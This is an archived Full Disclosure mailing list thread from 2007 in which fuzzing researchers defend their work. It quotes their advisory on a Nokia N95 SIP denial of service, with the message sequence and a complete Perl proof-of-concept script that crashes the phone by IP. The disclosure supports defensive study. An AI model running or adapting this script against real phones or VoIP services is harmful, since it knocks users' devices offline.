Full Disclosure mailing list archives

Previous By Date Next
Previous By Thread Next

Re: Nokia N95 cellphone remote DoS using the SIP Stack

From: Humberto Abdelnur <Humberto.Abdelnur () loria fr>
Date: Thu, 06 Dec 2007 09:45:52 +0100
I think you're missing his point. In fact I might be too but my take on it is this.... you'd think two PhD's and a PhD student might be able to do something a little more advanced than running a fuzzer and reporting DoS conditions.
Well, in fact as part of our research we are working on smart techniques of how to fuzz. So, whenever we come up with something new, the first thing to do is to test it either if it works or not. Therefore, the vulnerabilities we had found.
Do you guys even investigate the DoS to determine the root cause? If ye did then that might be OK and considered PhD level. I would think that a PhD level interpretation of this area might be for instance..... running a fuzzer against a hardware phone and then getting some form of code execution. Yes? No? Maybe?
We do not investigate the cause, as soon as we find a vulnerability we try to see if we can replay it and later send it to the appropriate company to allows them to fix it. As i told you before, the vulnerabilities found are just experimental results of our advances.
It looks to me like someone one of you guys built a VoIP fuzzer (is it even a VoIP fuzzer or just SIP?) 
In fact, KiF can be split in two (in a very simplistic way).
1) A Generic Syntax Fuzzer able just to generate/parse messages. It takes a ABNF as input and it does the rest respecting or not the ABNF grammar. 2) A Statefull fuzzer able to keep track of the remote state machine and a local testing state machine.
So, the first item can be useful for any non-flat ABNF grammar (e.g. TCP won't work). Usually those grammars can be found at the RFCs. So, different to most others fuzzers the extensibility and precision is easily achieve. In terms of the second item, it is totally dependent of SIP at the moment, mostly due to the need of Dialog and Transaction identification. However, we expect to generalize that in a middle term future.
and for the remainder of your doctoral studies you will be purchasing equipment and hitting the 'Fuzz' button. As I said, if you're gonna be submitting this kind of stuff to every list you can then at least investigate the root cause, maybe then it'll provide some slightly more interesting reading and perhaps benefit your thesis. 
I already replied to it.
Concerning to the comments from Reepex, i apologize for all these mails that you received from us, but thanks to this list we had plenty of good feedbacks from our work. As the purpose of the list is between others to disclose vulnerabilities, either we will have that permanent fights or simply you can ignore us. However, thanks for your comments of how to write better perl code (i can accepts comment of how to write better English as well :). Either ways, i will take a look on the perl advises before writing a new script. As Radu said earlier on, we are not expert on perl and personally not a big fan. The idea was just to show how to replay the problem. 

Humberto Abdelnur
Phd student ;)

nnp

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (Darwin)
Comment: http://firegpg.tuxfamily.org

iD8DBQFHV5DhbP10WPHfgnQRAtMNAJ43x7ZJDyVn0njZi2zTMQIQQoB6bgCeK8k7
addmL2c5Jm4LrlQvahnBrgY=
=YX4u
-----END PGP SIGNATURE-----
On Dec 5, 2007 11:57 AM, <state () loria fr <mailto:state () loria fr>> wrote:

    hi Reepex,

    I do not understand why are frustrated about a computer science
    degree. Maybe,
    someone got dropped out of a degree programm and some
    psychological trauma gets
     activated when seeing a Ph.D?

    If you like it or not, in order to get a computer science degree,
    you will have
    to take classes, and  most classes are taught by Ph.Ds.

    I will not argue with you on why I use the Ph.D in my signature,
    but if you
    really want to know, look at our research papers published in academic
    journals/conferences. (If you do not find them, I can send them to
    you).
    If you will ever understand the contents, then you will understand
    what are our
    credentials..:) This will probably never happen.

    At least, I use a signature and a real name and do not hide behind
    a gmail
    account.

    Meanwhile try yourself to find at least one vulnerability and
    enjoy Perl
    programming, it seemes your computer science skills are somehow in
    this area :)


    Greetings




    RS


    Selon reepex <reepex () gmail com <mailto:reepex () gmail com>>:

    > So almighty Phd what is your thesis exactly?
    >
    > To me it seems to be  'how to run a fuzzer then write crappy
    perl  scripts
    > to exploit DoS conditions'
    >
    > does this properly summarize your phd credentials?
    >
    > I guess  you could tack on 'after writing the crappy scripts,
    flood mailing
    > lists with our crap, and get made fun of'
    >
    > I am sure you will serve the academic community great one day
    when teach
    > "hacking" classes revolving around the latest editions of
    hacking exposed
    >
    >
    >
    > On Dec 5, 2007 11:05 AM, Radu State < State () loria fr
    <mailto:State () loria fr>> wrote:
    >
    > >  Nokia N95 cellphone remote DoS using the SIP Stack
    > >
    > >
    > >
    > > Severity:
    > >
    > > High – Denial of Service
    > >
    > >
    > >
    > > Hardware:
    > >
    > > Nokia N95
    > >
    > >
    > >
    > > Firmware:
    > >
    > > Tested version: Nokia RM-159 V 12.0.013
    > >
    > >
    > >
    > > Notification:
    > >
    > > Vulnerability found: 11 September 2007
    > >
    > > Contact Nokia Support: 12 September 2007 / None reply Contact
    Nokia
    > > Security Support: 19 September 2007 / None reply
    > >
    > >
    > >
    > > Vulnerability Synopsis:
    > >
    > > If the device has the SIP Phone client activated, a sequence
    of SIP
    > > messages turn the device in an inconsistent state where the
    user is not
    > able
    > > to operate it anymore until it reboots.
    > >
    > >
    > >
    > > The sequence of messages consists in 2 different SIP Dialogs
    where the
    > > first initiates an INVITE transaction but immediately closes
    it (in an
    > > anticipated manner). While, the second transaction initiates a
    normal
    > INVITE
    > > transaction that trigger the vulnerability of the target.
    > >
    > >
    > >
    > > The sequence of messages is illustrated below.
    > >
    > >
    > >
    > > X ------------------------- INVITE ----------------------->
    Nokiav12
    > >
    > > X <---------------------- 100 Trying ----------------------
    Nokiav12
    > >
    > > X ------------------------- CANCEL ----------------------->
    Nokiav12
    > >
    > > X <----------------- OK (to the Cancel) -------------------
    Nokiav12
    > >
    > >  X <---------------- 487 Request Terminated ----------------
    Nokiav12
    > >
    > >
    > >
    > > --------New Dialog--------
    > >
    > >
    > >
    > > X ------------------------- INVITE ----------------------->
    Nokiav12
    > >
    > > X <---------------------- 100 Trying ----------------------
    Nokiav12
    > >
    > > X <---------------------- 180 Trying ----------------------
    Nokiav12
    > >
    > >
    > >
    > > ---- The device does not work properly anymore ----
    > >
    > >
    > >
    > > Impact:
    > >
    > > A remote entity can take down all the services of the cell phone
    > >
    > >
    > >
    > > Resolution:
    > >
    > > As we did not get any proper reply from Nokia about the
    subject, the best
    > > way will be to disable the SIP Client
    > >
    > >
    > >
    > > Credits:
    > >
    > > Humberto J. Abdelnur (Ph.D Student)
    > >
    > > Radu State (Ph.D)
    > >
    > > Olivier Festor (Ph.D)
    > >
    > >
    > >
    > > This vulnerability was identified by the Madynes research team
    at INRIA
    > > Lorraine, using KiF the Madynes VoIP fuzzer.
    > >
    > > http://madynes.loria.fr/
    > >
    > >
    > >
    > >
    > >
    > > Proof of Concept:
    > >
    > >
    > >
    > > A perl script (nokiav12.pl) is attached to this mail. Before
    launching
    > >
    > > it, the SIP phone has to be initialed in the target device
    > >
    > >
    > >
    > > Command:
    > >
    > > perl nokiav12.pl <dst_IP> <username> <SourceIp> <SourceUsername>
    > >
    > >
    > >
    > > Eg. perl nokiav12.pl 192.168.1.119 <http://192.168.1.119>
    lupilu 192.168.1.2 <http://192.168.1.2> tucu
    > >
    > >
    > >
    > >
    > >
    > > #!/usr/bin/perl
    > >
    > >
    > >
    > > ##################################################
    > >
    > > # Vulnerabily discovered using KiF ~ Kiph #
    > >
    > > # #
    > >
    > > # Authors: #
    > >
    > > # Humberto J. Abdelnur (Ph.D Student) #
    > >
    > > # Radu State (Ph.D) #
    > >
    > > # Olivier Festor ( Ph.D) #
    > >
    > > # #
    > >
    > > # Madynes Team, LORIA - INRIA Lorraine #
    > >
    > > # http://madynes.loria.fr #
    > >
    > > ##################################################
    > >
    > >
    > >
    > > use IO::Socket::INET;
    > >
    > > use String::Random;
    > >
    > >
    > >
    > > die "Usage $0 <targetIP> <targetUser> <attackerIP> <attackerUser>"
    > >
    > > unless ($ARGV[3]);
    > >
    > >
    > >
    > > $targetUser = $ARGV[1];
    > >
    > > $targetIP = $ARGV[0];
    > >
    > >
    > >
    > > $attackerUser = $ARGV[3];
    > >
    > > $attackerIP= $ARGV[2];
    > >
    > >
    > >
    > > $socket=new IO::Socket::INET->new(
    > >
    > > Proto=>'udp',
    > >
    > > PeerPort=>5060,
    > >
    > > PeerAddr=>$targetIP,
    > >
    > > LocalPort=>5060);
    > >
    > >
    > >
    > > $foo = new String::Random;
    > >
    > > $callid= $foo->randpattern("CCccnCn");
    > >
    > > $cseq = $foo->randregex('\d\d\d\d');
    > >
    > >
    > >
    > > $sdp = "v=0\r
    > >
    > > o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r
    > >
    > > s=-\r
    > >
    > > c=IN IP4 $attackerIP\r
    > >
    > > t=0 0\r
    > >
    > > m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r
    > >
    > > a=sendrecv\r
    > >
    > > a=ptime:20\r
    > >
    > > a=maxptime:200\r
    > >
    > > a=fmtp:96 mode-change-neighbor=1\r
    > >
    > > a=fmtp:18 annexb=no\r
    > >
    > > a=fmtp:98 0-15\r
    > >
    > > a=rtpmap:96 AMR/8000/1\r
    > >
    > > a=rtpmap:0 PCMU/8000/1\r
    > >
    > > a=rtpmap:8 PCMA/8000/1\r
    > >
    > > a=rtpmap:97 iLBC/8000/1\r
    > >
    > > a=rtpmap:18 G729/8000/1\r
    > >
    > > a=rtpmap:98 telephone-event/8000/1\r
    > >
    > > a=rtpmap:13 CN/8000/1\r
    > >
    > > ";
    > >
    > >
    > >
    > > $sdplen= length $sdp;
    > >
    > >
    > >
    > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r
    > >
    > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
    > >
    > > From: <sip:$attackerUser\@$attackerIP>;tag=1\r
    > >
    > > To: <sip:$targetUser\@$targetIP>\r
    > >
    > > Call-ID: $callid\@$attackerIP\r
    > >
    > > CSeq: $cseq INVITE\r
    > >
    > > Max-Forwards: 70\r
    > >
    > > Contact: <sip:$attackerUser\@$attackerIP>\r
    > >
    > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE,
    NOTIFY,
    > >
    > > MESSAGE\r
    > >
    > > Content-Type: application/sdp\r
    > >
    > > Content-Length: $sdplen\r
    > >
    > > \r
    > >
    > > $sdp";
    > >
    > > $socket->send($msg);
    > >
    > > $text = '';
    > >
    > > while (not $text =~ /^SIP\/2.0 100(.\r\n)*/ ){
    > >
    > > $socket->recv($text,1024,0);
    > >
    > > }
    > >
    > >
    > >
    > > $msg = "CANCEL sip:$targetUser\@$targetIP SIP/2.0\r
    > >
    > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
    > >
    > > From: <sip:$attackerUser\@$attackerIP>;tag=1\r
    > >
    > > To: <sip:$targetUser\@$targetIP>;tag=1\r
    > >
    > > Call-ID: $callid\@$attackerIP\r
    > >
    > > CSeq: $cseq CANCEL\r
    > >
    > > Max-Forwards: 70\r
    > >
    > > Content-Length: 0\r
    > >
    > > \r
    > >
    > > ";
    > >
    > > $socket->send($msg);
    > >
    > > time.sleep(1);
    > >
    > > $callid= $foo->randpattern("CCccnCn");
    > >
    > > $cseq = $foo->randregex('\d\d\d\d');
    > >
    > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r
    > >
    > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK2\r
    > >
    > > From: <sip:$attackerUser\@$attackerIP>;tag=2\r
    > >
    > > To: <sip:$targetUser\@$targetIP>\r
    > >
    > > Call-ID: $callid\@$attackerIP\r
    > >
    > > CSeq: $cseq INVITE\r
    > >
    > > Contact: <sip:$attackerUser\@$attackerIP>\r
    > >
    > > Max-Forwards: 70\r
    > >
    > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE,
    NOTIFY,
    > >
    > > MESSAGE\r
    > >
    > > Content-Type: application/sdp\r
    > >
    > > Content-Length: $sdplen\r
    > >
    > > \r
    > >
    > > $sdp";
    > >
    > > $socket->send($msg);
    > >
    > >
    > >
    > >
    > >
    > >
    > >
    > > No virus found in this outgoing message.
    > > Checked by AVG Free Edition.
    > > Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date:
    > > 04/12/2007 19:31
    > >
    > > _______________________________________________
    > > Full-Disclosure - We believe in it.
    > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
    > > Hosted and sponsored by Secunia - http://secunia.com/
    > >
    >


    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.grok.org.uk/full-disclosure-charter.html
    Hosted and sponsored by Secunia - http://secunia.com/




--
http://www.smashthestack.org
http://www.unprotectedhex.com

------------------------------------------------------------------------

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Previous By Date Next
Previous By Thread Next

Current thread: